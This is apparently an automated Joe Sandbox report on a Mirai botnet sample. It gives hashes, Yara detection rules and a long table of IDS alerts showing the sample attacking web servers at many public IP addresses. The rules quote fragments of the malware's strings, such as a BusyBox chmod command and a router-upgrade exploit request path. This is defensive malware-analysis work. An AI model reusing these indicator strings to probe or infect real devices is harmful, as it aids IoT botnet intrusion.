Edit tour

Linux Analysis Report
x86_64.elf

Overview

General Information

Sample name:	x86_64.elf
Analysis ID:	1567835
MD5:	88660446811d50c52341472f9b03d870
SHA1:	bc8c0a5be47d1538a1504aded3f9fdffaabe3b6f
SHA256:	011c4d82c6f391669c979bb51cabe5815e14f370e96e4492d298ad16f510b73d
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567835
Start date and time:	2024-12-03 22:16:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86_64.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@25/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: x86_64.elf

Runtime Messages

Command:	/tmp/x86_64.elf
PID:	6216
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

x86_64.elf (PID: 6216, Parent: 6132, MD5: 88660446811d50c52341472f9b03d870) Arguments: /tmp/x86_64.elf

x86_64.elf New Fork (PID: 6217, Parent: 6216)

x86_64.elf New Fork (PID: 6218, Parent: 6217)

x86_64.elf New Fork (PID: 6219, Parent: 6217)

x86_64.elf New Fork (PID: 6220, Parent: 6217)

x86_64.elf New Fork (PID: 6221, Parent: 6217)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86_64.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
x86_64.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
x86_64.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xc664:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
x86_64.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xce53:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
x86_64.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xbb42:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xbc50:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
x86_64.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xca13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
x86_64.elf	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xc2a2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
x86_64.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xccde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
x86_64.elf	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xc49b:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
x86_64.elf	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x239a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
x86_64.elf	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x827f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
x86_64.elf	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x249d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
x86_64.elf	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x5872:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
x86_64.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xefc2:$x2: /bin/busybox chmod 777 * /tmp/ 0xed18:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xec40:$s3: POST /cdn-cgi/
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6216.1.0000000000400000.0000000000411000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6216.1.0000000000400000.0000000000411000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xc664:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xce53:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xbb42:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xbc50:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xca13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xc2a2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xccde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xc49b:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x239a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x827f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x249d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
6216.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x5872:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
6216.1.0000000000400000.0000000000411000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xefc2:$x2: /bin/busybox chmod 777 * /tmp/ 0xed18:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xec40:$s3: POST /cdn-cgi/
6218.1.0000000000400000.0000000000411000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6218.1.0000000000400000.0000000000411000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xc664:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xce53:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xbb42:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xbc50:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xca13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xc2a2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xccde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xc49b:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x239a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x827f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x249d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
6218.1.0000000000400000.0000000000411000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x5872:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
6218.1.0000000000400000.0000000000411000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xefc2:$x2: /bin/busybox chmod 777 * /tmp/ 0xed18:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xec40:$s3: POST /cdn-cgi/
Process Memory Space: x86_64.elf PID: 6216	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: x86_64.elf PID: 6218	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 25 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:16:51.481968+0100	2030092	1	Web Application Attack	192.168.2.23	36100	148.77.50.206	80	TCP
2024-12-03T22:16:51.910119+0100	2030092	1	Web Application Attack	192.168.2.23	50814	189.63.67.242	80	TCP
2024-12-03T22:16:51.953564+0100	2030092	1	Web Application Attack	192.168.2.23	56390	201.216.93.118	80	TCP
2024-12-03T22:16:52.840666+0100	2030092	1	Web Application Attack	192.168.2.23	38588	143.95.246.74	80	TCP
2024-12-03T22:16:54.435640+0100	2030092	1	Web Application Attack	192.168.2.23	47024	58.233.196.220	80	TCP
2024-12-03T22:17:05.674697+0100	2030092	1	Web Application Attack	192.168.2.23	38202	195.66.25.125	80	TCP
2024-12-03T22:17:05.762128+0100	2030092	1	Web Application Attack	192.168.2.23	57118	103.68.228.38	80	TCP
2024-12-03T22:17:10.452402+0100	2030092	1	Web Application Attack	192.168.2.23	44002	93.134.211.187	80	TCP
2024-12-03T22:17:10.461269+0100	2030092	1	Web Application Attack	192.168.2.23	34554	44.97.239.58	80	TCP
2024-12-03T22:17:10.469901+0100	2030092	1	Web Application Attack	192.168.2.23	50084	141.23.106.58	80	TCP
2024-12-03T22:17:10.478714+0100	2030092	1	Web Application Attack	192.168.2.23	54802	69.105.106.1	80	TCP
2024-12-03T22:17:10.498657+0100	2030092	1	Web Application Attack	192.168.2.23	51332	5.50.172.102	80	TCP
2024-12-03T22:17:10.514385+0100	2030092	1	Web Application Attack	192.168.2.23	49430	142.163.169.148	80	TCP
2024-12-03T22:17:10.514443+0100	2030092	1	Web Application Attack	192.168.2.23	35632	217.15.168.25	80	TCP
2024-12-03T22:17:10.523664+0100	2030092	1	Web Application Attack	192.168.2.23	53804	46.29.80.182	80	TCP
2024-12-03T22:17:10.545681+0100	2030092	1	Web Application Attack	192.168.2.23	56994	106.125.175.246	80	TCP
2024-12-03T22:17:10.555075+0100	2030092	1	Web Application Attack	192.168.2.23	36578	53.119.123.13	80	TCP
2024-12-03T22:17:10.555321+0100	2030092	1	Web Application Attack	192.168.2.23	41946	108.128.143.21	80	TCP
2024-12-03T22:17:10.561391+0100	2030092	1	Web Application Attack	192.168.2.23	58412	191.107.11.36	80	TCP
2024-12-03T22:17:10.570463+0100	2030092	1	Web Application Attack	192.168.2.23	57904	23.13.227.180	80	TCP
2024-12-03T22:17:10.577047+0100	2030092	1	Web Application Attack	192.168.2.23	58214	159.56.174.211	80	TCP
2024-12-03T22:17:10.586263+0100	2030092	1	Web Application Attack	192.168.2.23	38168	136.30.197.42	80	TCP
2024-12-03T22:17:10.586348+0100	2030092	1	Web Application Attack	192.168.2.23	58950	213.10.8.153	80	TCP
2024-12-03T22:17:10.586498+0100	2030092	1	Web Application Attack	192.168.2.23	48852	76.65.219.244	80	TCP
2024-12-03T22:17:11.243397+0100	2030092	1	Web Application Attack	192.168.2.23	57206	193.208.82.87	80	TCP
2024-12-03T22:17:11.389832+0100	2030092	1	Web Application Attack	192.168.2.23	46196	59.87.238.43	80	TCP
2024-12-03T22:17:11.421161+0100	2030092	1	Web Application Attack	192.168.2.23	54544	137.84.118.55	80	TCP
2024-12-03T22:17:11.421600+0100	2030092	1	Web Application Attack	192.168.2.23	42718	200.134.217.200	80	TCP
2024-12-03T22:17:11.421775+0100	2030092	1	Web Application Attack	192.168.2.23	54340	89.199.198.11	80	TCP
2024-12-03T22:17:11.421936+0100	2030092	1	Web Application Attack	192.168.2.23	59488	89.148.112.82	80	TCP
2024-12-03T22:17:11.422058+0100	2030092	1	Web Application Attack	192.168.2.23	42698	86.87.136.30	80	TCP
2024-12-03T22:17:11.422251+0100	2030092	1	Web Application Attack	192.168.2.23	33746	51.0.21.42	80	TCP
2024-12-03T22:17:11.422352+0100	2030092	1	Web Application Attack	192.168.2.23	55748	50.18.129.224	80	TCP
2024-12-03T22:17:11.422427+0100	2030092	1	Web Application Attack	192.168.2.23	51504	120.125.222.84	80	TCP
2024-12-03T22:17:11.422525+0100	2030092	1	Web Application Attack	192.168.2.23	40354	177.102.58.160	80	TCP
2024-12-03T22:17:11.430072+0100	2030092	1	Web Application Attack	192.168.2.23	42740	126.110.141.44	80	TCP
2024-12-03T22:17:11.430700+0100	2030092	1	Web Application Attack	192.168.2.23	51992	44.100.34.190	80	TCP
2024-12-03T22:17:11.430716+0100	2030092	1	Web Application Attack	192.168.2.23	35534	44.223.88.222	80	TCP
2024-12-03T22:17:11.436228+0100	2030092	1	Web Application Attack	192.168.2.23	53878	219.159.129.91	80	TCP
2024-12-03T22:17:11.436283+0100	2030092	1	Web Application Attack	192.168.2.23	50606	106.119.111.49	80	TCP
2024-12-03T22:17:11.436402+0100	2030092	1	Web Application Attack	192.168.2.23	41218	72.185.180.188	80	TCP
2024-12-03T22:17:11.445525+0100	2030092	1	Web Application Attack	192.168.2.23	36024	161.83.220.85	80	TCP
2024-12-03T22:17:11.452029+0100	2030092	1	Web Application Attack	192.168.2.23	51966	115.64.13.91	80	TCP
2024-12-03T22:17:11.461521+0100	2030092	1	Web Application Attack	192.168.2.23	34050	133.151.36.237	80	TCP
2024-12-03T22:17:11.461751+0100	2030092	1	Web Application Attack	192.168.2.23	35510	19.67.64.37	80	TCP
2024-12-03T22:17:11.461824+0100	2030092	1	Web Application Attack	192.168.2.23	50274	122.157.177.130	80	TCP
2024-12-03T22:17:11.462032+0100	2030092	1	Web Application Attack	192.168.2.23	44588	186.244.224.1	80	TCP
2024-12-03T22:17:11.470526+0100	2030092	1	Web Application Attack	192.168.2.23	46164	120.53.85.174	80	TCP
2024-12-03T22:17:11.471996+0100	2030092	1	Web Application Attack	192.168.2.23	39452	150.32.225.133	80	TCP
2024-12-03T22:17:11.472003+0100	2030092	1	Web Application Attack	192.168.2.23	39680	149.70.197.245	80	TCP
2024-12-03T22:17:11.472015+0100	2030092	1	Web Application Attack	192.168.2.23	42384	95.148.172.170	80	TCP
2024-12-03T22:17:11.472034+0100	2030092	1	Web Application Attack	192.168.2.23	37802	205.37.220.224	80	TCP
2024-12-03T22:17:11.472096+0100	2030092	1	Web Application Attack	192.168.2.23	52012	101.26.29.84	80	TCP
2024-12-03T22:17:11.472097+0100	2030092	1	Web Application Attack	192.168.2.23	40602	18.120.91.237	80	TCP
2024-12-03T22:17:11.472107+0100	2030092	1	Web Application Attack	192.168.2.23	37786	66.28.161.170	80	TCP
2024-12-03T22:17:11.472128+0100	2030092	1	Web Application Attack	192.168.2.23	37950	159.180.151.117	80	TCP
2024-12-03T22:17:11.472144+0100	2030092	1	Web Application Attack	192.168.2.23	53678	13.77.179.192	80	TCP
2024-12-03T22:17:11.472161+0100	2030092	1	Web Application Attack	192.168.2.23	48268	70.167.174.224	80	TCP
2024-12-03T22:17:11.477295+0100	2030092	1	Web Application Attack	192.168.2.23	43316	115.161.242.231	80	TCP
2024-12-03T22:17:11.477614+0100	2030092	1	Web Application Attack	192.168.2.23	35752	112.106.103.207	80	TCP
2024-12-03T22:17:11.478015+0100	2030092	1	Web Application Attack	192.168.2.23	35558	159.216.106.173	80	TCP
2024-12-03T22:17:11.478217+0100	2030092	1	Web Application Attack	192.168.2.23	55882	70.48.67.132	80	TCP
2024-12-03T22:17:11.478430+0100	2030092	1	Web Application Attack	192.168.2.23	37124	52.147.152.231	80	TCP
2024-12-03T22:17:11.478558+0100	2030092	1	Web Application Attack	192.168.2.23	37904	208.170.5.222	80	TCP
2024-12-03T22:17:11.478696+0100	2030092	1	Web Application Attack	192.168.2.23	52248	182.205.184.220	80	TCP
2024-12-03T22:17:11.478846+0100	2030092	1	Web Application Attack	192.168.2.23	52836	83.119.82.146	80	TCP
2024-12-03T22:17:11.492957+0100	2030092	1	Web Application Attack	192.168.2.23	59838	8.163.124.143	80	TCP
2024-12-03T22:17:11.493248+0100	2030092	1	Web Application Attack	192.168.2.23	49242	156.47.9.159	80	TCP
2024-12-03T22:17:11.493275+0100	2030092	1	Web Application Attack	192.168.2.23	36696	83.228.148.68	80	TCP
2024-12-03T22:17:11.493289+0100	2030092	1	Web Application Attack	192.168.2.23	48866	49.132.127.254	80	TCP
2024-12-03T22:17:11.493296+0100	2030092	1	Web Application Attack	192.168.2.23	57510	117.255.80.131	80	TCP
2024-12-03T22:17:11.493312+0100	2030092	1	Web Application Attack	192.168.2.23	41702	86.199.183.40	80	TCP
2024-12-03T22:17:11.508192+0100	2030092	1	Web Application Attack	192.168.2.23	50074	178.167.225.20	80	TCP
2024-12-03T22:17:11.508613+0100	2030092	1	Web Application Attack	192.168.2.23	41426	202.130.12.212	80	TCP
2024-12-03T22:17:11.508814+0100	2030092	1	Web Application Attack	192.168.2.23	60926	32.60.240.155	80	TCP
2024-12-03T22:17:11.509043+0100	2030092	1	Web Application Attack	192.168.2.23	33070	116.198.57.17	80	TCP
2024-12-03T22:17:11.509144+0100	2030092	1	Web Application Attack	192.168.2.23	56374	163.247.225.173	80	TCP
2024-12-03T22:17:11.509250+0100	2030092	1	Web Application Attack	192.168.2.23	45530	1.78.144.178	80	TCP
2024-12-03T22:17:11.509310+0100	2030092	1	Web Application Attack	192.168.2.23	44064	2.116.62.181	80	TCP
2024-12-03T22:17:11.509447+0100	2030092	1	Web Application Attack	192.168.2.23	45496	161.115.163.88	80	TCP
2024-12-03T22:17:11.523616+0100	2030092	1	Web Application Attack	192.168.2.23	55606	138.128.101.135	80	TCP
2024-12-03T22:17:11.623968+0100	2030092	1	Web Application Attack	192.168.2.23	45042	155.207.215.11	80	TCP
2024-12-03T22:17:11.640071+0100	2030092	1	Web Application Attack	192.168.2.23	59800	111.131.4.87	80	TCP
2024-12-03T22:17:11.649606+0100	2030092	1	Web Application Attack	192.168.2.23	49922	73.123.193.39	80	TCP
2024-12-03T22:17:11.669635+0100	2030092	1	Web Application Attack	192.168.2.23	57504	186.44.230.51	80	TCP
2024-12-03T22:17:11.686349+0100	2030092	1	Web Application Attack	192.168.2.23	58206	146.239.100.84	80	TCP
2024-12-03T22:17:13.461643+0100	2030092	1	Web Application Attack	192.168.2.23	44830	23.93.194.133	80	TCP
2024-12-03T22:17:13.468402+0100	2030092	1	Web Application Attack	192.168.2.23	60176	99.212.18.166	80	TCP
2024-12-03T22:17:13.468430+0100	2030092	1	Web Application Attack	192.168.2.23	56424	145.20.17.13	80	TCP
2024-12-03T22:17:13.477061+0100	2030092	1	Web Application Attack	192.168.2.23	40276	8.43.2.155	80	TCP
2024-12-03T22:17:13.477262+0100	2030092	1	Web Application Attack	192.168.2.23	34760	210.36.162.136	80	TCP
2024-12-03T22:17:13.483741+0100	2030092	1	Web Application Attack	192.168.2.23	33488	125.111.75.105	80	TCP
2024-12-03T22:17:13.493239+0100	2030092	1	Web Application Attack	192.168.2.23	60086	176.10.51.162	80	TCP
2024-12-03T22:17:13.499892+0100	2030092	1	Web Application Attack	192.168.2.23	44762	201.157.7.217	80	TCP
2024-12-03T22:17:13.500179+0100	2030092	1	Web Application Attack	192.168.2.23	41006	97.55.138.48	80	TCP
2024-12-03T22:17:13.509239+0100	2030092	1	Web Application Attack	192.168.2.23	34482	64.69.46.207	80	TCP
2024-12-03T22:17:13.509321+0100	2030092	1	Web Application Attack	192.168.2.23	34848	73.104.148.95	80	TCP
2024-12-03T22:17:13.509529+0100	2030092	1	Web Application Attack	192.168.2.23	45994	93.104.201.65	80	TCP
2024-12-03T22:17:13.514929+0100	2030092	1	Web Application Attack	192.168.2.23	40132	128.106.21.141	80	TCP
2024-12-03T22:17:13.514997+0100	2030092	1	Web Application Attack	192.168.2.23	54072	194.18.61.94	80	TCP
2024-12-03T22:17:13.523796+0100	2030092	1	Web Application Attack	192.168.2.23	41618	101.211.231.251	80	TCP
2024-12-03T22:17:13.524305+0100	2030092	1	Web Application Attack	192.168.2.23	49154	107.229.45.191	80	TCP
2024-12-03T22:17:13.524472+0100	2030092	1	Web Application Attack	192.168.2.23	55086	2.233.134.116	80	TCP
2024-12-03T22:17:13.524760+0100	2030092	1	Web Application Attack	192.168.2.23	37176	1.252.247.68	80	TCP
2024-12-03T22:17:13.540105+0100	2030092	1	Web Application Attack	192.168.2.23	36864	159.157.188.52	80	TCP
2024-12-03T22:17:13.555986+0100	2030092	1	Web Application Attack	192.168.2.23	48116	54.6.47.124	80	TCP
2024-12-03T22:17:13.556042+0100	2030092	1	Web Application Attack	192.168.2.23	55390	103.104.235.120	80	TCP
2024-12-03T22:17:13.556149+0100	2030092	1	Web Application Attack	192.168.2.23	33352	213.75.138.155	80	TCP
2024-12-03T22:17:13.556242+0100	2030092	1	Web Application Attack	192.168.2.23	51820	110.23.29.220	80	TCP
2024-12-03T22:17:13.670945+0100	2030092	1	Web Application Attack	192.168.2.23	53464	128.160.146.62	80	TCP
2024-12-03T22:17:13.701998+0100	2030092	1	Web Application Attack	192.168.2.23	44828	13.37.13.251	80	TCP
2024-12-03T22:17:13.823865+0100	2030092	1	Web Application Attack	192.168.2.23	41832	192.18.96.173	80	TCP
2024-12-03T22:17:13.823918+0100	2030092	1	Web Application Attack	192.168.2.23	48538	57.247.150.105	80	TCP
2024-12-03T22:17:13.823925+0100	2030092	1	Web Application Attack	192.168.2.23	56914	46.96.134.251	80	TCP
2024-12-03T22:17:13.824019+0100	2030092	1	Web Application Attack	192.168.2.23	55962	76.165.243.2	80	TCP
2024-12-03T22:17:13.824036+0100	2030092	1	Web Application Attack	192.168.2.23	55198	138.190.218.64	80	TCP
2024-12-03T22:17:13.824059+0100	2030092	1	Web Application Attack	192.168.2.23	49884	175.136.0.206	80	TCP
2024-12-03T22:17:13.824072+0100	2030092	1	Web Application Attack	192.168.2.23	51268	17.188.107.76	80	TCP
2024-12-03T22:17:14.657703+0100	2030092	1	Web Application Attack	192.168.2.23	39196	124.243.135.24	80	TCP
2024-12-03T22:17:14.764675+0100	2030092	1	Web Application Attack	192.168.2.23	39612	191.228.77.210	80	TCP
2024-12-03T22:17:14.815283+0100	2030092	1	Web Application Attack	192.168.2.23	42840	189.147.217.224	80	TCP
2024-12-03T22:17:14.815296+0100	2030092	1	Web Application Attack	192.168.2.23	59226	116.216.114.6	80	TCP
2024-12-03T22:17:14.842813+0100	2030092	1	Web Application Attack	192.168.2.23	39456	156.146.98.24	80	TCP
2024-12-03T22:17:14.898656+0100	2030092	1	Web Application Attack	192.168.2.23	38702	180.60.94.132	80	TCP
2024-12-03T22:17:14.898776+0100	2030092	1	Web Application Attack	192.168.2.23	35332	174.196.88.173	80	TCP
2024-12-03T22:17:14.976855+0100	2030092	1	Web Application Attack	192.168.2.23	40120	131.59.130.94	80	TCP
2024-12-03T22:17:15.914658+0100	2030092	1	Web Application Attack	192.168.2.23	42152	60.178.102.141	80	TCP
2024-12-03T22:17:16.014530+0100	2030092	1	Web Application Attack	192.168.2.23	54800	89.137.176.141	80	TCP
2024-12-03T22:17:16.015281+0100	2030092	1	Web Application Attack	192.168.2.23	59578	179.140.51.217	80	TCP
2024-12-03T22:17:16.070804+0100	2030092	1	Web Application Attack	192.168.2.23	42992	82.147.27.113	80	TCP
2024-12-03T22:17:16.071063+0100	2030092	1	Web Application Attack	192.168.2.23	59154	208.52.232.31	80	TCP
2024-12-03T22:17:16.087125+0100	2030092	1	Web Application Attack	192.168.2.23	44398	150.222.20.65	80	TCP
2024-12-03T22:17:16.087207+0100	2030092	1	Web Application Attack	192.168.2.23	58022	42.222.254.70	80	TCP
2024-12-03T22:17:16.150101+0100	2030092	1	Web Application Attack	192.168.2.23	46118	197.98.23.17	80	TCP
2024-12-03T22:17:16.265228+0100	2030092	1	Web Application Attack	192.168.2.23	53810	2.126.27.220	80	TCP
2024-12-03T22:17:16.280738+0100	2030092	1	Web Application Attack	192.168.2.23	33390	166.205.84.52	80	TCP
2024-12-03T22:17:16.305173+0100	2030092	1	Web Application Attack	192.168.2.23	53538	100.53.164.49	80	TCP
2024-12-03T22:17:16.336304+0100	2030092	1	Web Application Attack	192.168.2.23	52782	19.2.6.115	80	TCP
2024-12-03T22:17:16.351869+0100	2030092	1	Web Application Attack	192.168.2.23	36912	148.28.111.157	80	TCP
2024-12-03T22:17:16.733571+0100	2030092	1	Web Application Attack	192.168.2.23	47612	210.159.47.47	80	TCP
2024-12-03T22:17:16.748899+0100	2030092	1	Web Application Attack	192.168.2.23	44106	211.28.212.81	80	TCP
2024-12-03T22:17:16.820733+0100	2030092	1	Web Application Attack	192.168.2.23	44492	178.212.220.26	80	TCP
2024-12-03T22:17:17.045964+0100	2030092	1	Web Application Attack	192.168.2.23	41936	66.167.139.239	80	TCP
2024-12-03T22:17:17.061478+0100	2030092	1	Web Application Attack	192.168.2.23	47198	102.244.213.7	80	TCP
2024-12-03T22:17:17.092523+0100	2030092	1	Web Application Attack	192.168.2.23	50584	165.204.23.192	80	TCP
2024-12-03T22:17:17.101887+0100	2030092	1	Web Application Attack	192.168.2.23	56618	119.163.95.200	80	TCP
